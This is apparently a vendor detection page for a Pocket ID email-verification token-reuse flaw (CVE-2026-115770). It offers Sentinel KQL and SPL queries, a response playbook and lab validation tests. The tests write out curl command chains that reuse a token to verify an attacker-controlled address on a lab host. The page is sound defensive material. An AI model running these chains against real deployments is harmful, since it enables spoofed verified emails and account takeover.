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CVE-2026-115770 Microsoft Sentinel · KQL

Detect Pocket ID Email Verification Token Reuse After Address Change (CVE-2026-115770) in Microsoft Sentinel

Detects exploitation of CVE-2026-115770 in Pocket ID (github.com/pocket-id/pocket-id/backend < v2.12.0 / 0.0.0-20260727180059-43aaccd5bfac). An email verification token issued for one address remains valid after the user changes their email, letting an attacker verify an arbitrary address they do not control (or spoof a verified address) by reusing a previously-issued token. This breaks authenticity of the verified-email claim (CWE-345). Detection focuses on Pocket ID backend application/access logs: verification-confirmation requests whose token was issued for a different email than the one being confirmed, email-change events closely followed by verification success, and anomalous reuse of verification tokens. Severity reflects CVSS 9.6 and public PoC availability.

MITRE ATT&CK

Tactic
Credential Access Privilege Escalation

KQL Detection Query

Microsoft Sentinel (KQL)
kusto
// df00tech DF00-57843af694 · https://df00tech.com/detections/CVE-2026-115770 · licence: https://df00tech.com/detections/licence
// Pocket ID email verification token reuse / cross-address confirmation (CVE-2026-115770)
// Expects Pocket ID backend request logs ingested as a custom table (PocketID_CL).
PocketID_CL
| where TimeGenerated > ago(24h)
| where RequestPath_s has_any ("/api/users/email/verify", "/api/verify-email", "email-verification", "/verify-email")
| where EventType_s in~ ("email_change", "email_verify_confirm", "email_verify_request")
| summarize events = make_list(pack("ts", TimeGenerated, "type", EventType_s, "email", TargetEmail_s, "token", TokenId_s, "status", StatusCode_d), 50),
    tokens = make_set(TokenId_s), emails = make_set(TargetEmail_s), types = make_set(EventType_s)
    by UserId_s, SourceIP = ClientIP_s
// A single token used to confirm a different address than it was issued for, or >1 distinct email confirmed per token
| where array_length(emails) > 1 and types has "email_verify_confirm"
| project UserId_s, SourceIP, emails, tokens, types, events
| extend Severity = "critical", CVE = "CVE-2026-115770"
critical severity medium confidence

Flags Pocket ID users/IPs where a single verification token or session is associated with confirmation of more than one distinct email address, the core abuse pattern of the token-reuse-after-email-change flaw.

Data Sources

Pocket ID backend application logsReverse proxy / ingress access logs

Required Tables

PocketID_CL

False Positives & Tuning

  • Legitimate user who intentionally changes their email and re-verifies a new address within the same session window
  • Shared NAT/corporate egress IP where multiple distinct users verify emails from the same SourceIP
  • QA or staging automation exercising the verification flow with multiple test addresses
  • Admin-driven bulk email reassignment where multiple addresses are legitimately confirmed

Other platforms for CVE-2026-115770


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Reuse verification token across email change

    Expected signal: email_verify_request for [email protected], email_change to [email protected], and email_verify_confirm whose token_issued_for != target_email.

  2. Test 2 Single token confirms two distinct addresses

    Expected signal: Two email_verify_confirm events sharing one token_id but with distinct target_email values.

  3. Test 3 Baseline benign re-verification (negative test)

    Expected signal: A single token_id issued for and confirming the same address [email protected]; no issued_for/target mismatch.


Response Playbook

Triage

  1. Confirm the Pocket ID backend version; versions earlier than v2.12.0 / 0.0.0-20260727180059-43aaccd5bfac are affected by CVE-2026-115770.
  2. For the alerting user/token, pull all email_verify_request and email_verify_confirm events and compare the address a token was issued for against the address it ultimately confirmed, a mismatch confirms token reuse.
  3. Identify the final verified email on the account and check whether it points to a domain the legitimate user does not control.
  4. Review whether the newly verified email was subsequently used for password reset, SSO claim issuance, or privilege/role assignment within Pocket ID.

Containment

  1. Invalidate all outstanding email verification tokens and force re-verification for the affected account(s).
  2. Revert any email address changes confirmed via a reused token and lock the account pending identity re-confirmation.
  3. Upgrade the Pocket ID backend to v2.12.0 (commit 43aaccd5bfac) or later so tokens are invalidated on email change.

Evidence Collection

  1. Export the full verification event chain (request, change, confirm) with token IDs, target emails, source IPs and timestamps for the affected account.
  2. Capture Pocket ID audit logs for any downstream actions (logins, OIDC token issuance, role changes) performed under the spoofed verified email.

Escalation Criteria

  • !Escalate to IR if a reused token verified an email that was then used to authenticate, reset credentials, or obtain elevated/SSO access.
  • !Escalate to the application owner if multiple accounts show cross-address verification, indicating active exploitation rather than an isolated anomaly.

Investigation Guide

Forensic Artifacts

  • >Pocket ID verification token records showing issued_for email vs. confirmed email
  • >Account email-change audit entries with timestamps and source IP
  • >OIDC/SSO token issuance logs tied to the spoofed verified email

Tuning Guidance

Baseline normal email-change-then-reverify behavior per user; most benign cases reuse a token only for the same address or issue a fresh token. Require a mismatch between token issued_for and confirmed email, or more than one distinct confirmed email per token, to reduce noise. Exclude known QA/automation accounts and shared egress IPs. After upgrading to v2.12.0, tokens are invalidated on email change, so any residual mismatch hits should be treated as high-fidelity.


Hunting Queries

Surfaces any verification confirmation where the token was issued for a different address than the one being confirmed, a direct indicator of CVE-2026-115770 abuse.

Hunting — KQL
kql
// df00tech DF00-57843af694 · https://df00tech.com/detections/CVE-2026-115770 · licence: https://df00tech.com/detections/licence
PocketID_CL | where EventType_s == "email_verify_confirm" | where TokenIssuedFor_s != TargetEmail_s | project TimeGenerated, UserId_s, TokenId_s, TokenIssuedFor_s, TargetEmail_s, ClientIP_s
Hunting — SPL
spl
``` df00tech DF00-57843af694 · https://df00tech.com/detections/CVE-2026-115770 · licence: https://df00tech.com/detections/licence ```
index=pocketid event_type=email_verify_confirm token_issued_for!=target_email | table _time user_id token_id token_issued_for target_email src_ip

Atomic Red Team Tests

Test 1 Reuse verification token across email change
linux

Request a verification token for address A, change the account email to attacker-controlled address B, then submit the original token to confirm B as verified.

Command

bash
TOKEN=$(curl -s -X POST http://pocketid.lab/api/users/me/email/verify-request -H "Authorization: Bearer $JWT" -d '{"email":"[email protected]"}' | jq -r .token); curl -s -X POST http://pocketid.lab/api/users/me/email -H "Authorization: Bearer $JWT" -d '{"email":"[email protected]"}'; curl -s -X POST http://pocketid.lab/api/users/me/email/verify -H "Authorization: Bearer $JWT" -d "{\"token\":\"$TOKEN\"}"

Cleanup

bash
curl -s -X POST http://pocketid.lab/api/users/me/email -H "Authorization: Bearer $JWT" -d '{"email":"[email protected]"}'

Expected Telemetry

email_verify_request for [email protected], email_change to [email protected], and email_verify_confirm whose token_issued_for != target_email.

Expected Detection

Detection fires on token/user confirming more than one distinct email and on issued_for vs confirmed mismatch.

Test 2 Single token confirms two distinct addresses
linux

Issue one verification token and attempt to confirm two different email addresses with it.

Command

bash
TOKEN=$(curl -s -X POST http://pocketid.lab/api/users/me/email/verify-request -H "Authorization: Bearer $JWT" -d '{"email":"[email protected]"}' | jq -r .token); curl -s -X POST http://pocketid.lab/api/users/me/email/verify -d "{\"token\":\"$TOKEN\",\"email\":\"[email protected]\"}"; curl -s -X POST http://pocketid.lab/api/users/me/email/verify -d "{\"token\":\"$TOKEN\",\"email\":\"[email protected]\"}"

Cleanup

bash
echo 'no persistent state; reset lab account email if changed'

Expected Telemetry

Two email_verify_confirm events sharing one token_id but with distinct target_email values.

Expected Detection

distinct_emails>1 per token condition triggers the detection.

Test 3 Baseline benign re-verification (negative test)
linux

Perform a normal email change where a fresh token is issued and used only for the new address, to confirm the detection does not false-positive.

Command

bash
curl -s -X POST http://pocketid.lab/api/users/me/email -H "Authorization: Bearer $JWT" -d '{"email":"[email protected]"}'; T=$(curl -s -X POST http://pocketid.lab/api/users/me/email/verify-request -H "Authorization: Bearer $JWT" -d '{"email":"[email protected]"}' | jq -r .token); curl -s -X POST http://pocketid.lab/api/users/me/email/verify -H "Authorization: Bearer $JWT" -d "{\"token\":\"$T\"}"

Cleanup

bash
curl -s -X POST http://pocketid.lab/api/users/me/email -H "Authorization: Bearer $JWT" -d '{"email":"[email protected]"}'

Expected Telemetry

A single token_id issued for and confirming the same address [email protected]; no issued_for/target mismatch.

Expected Detection

No alert expected, single token maps to one email and issued_for matches confirmed email.

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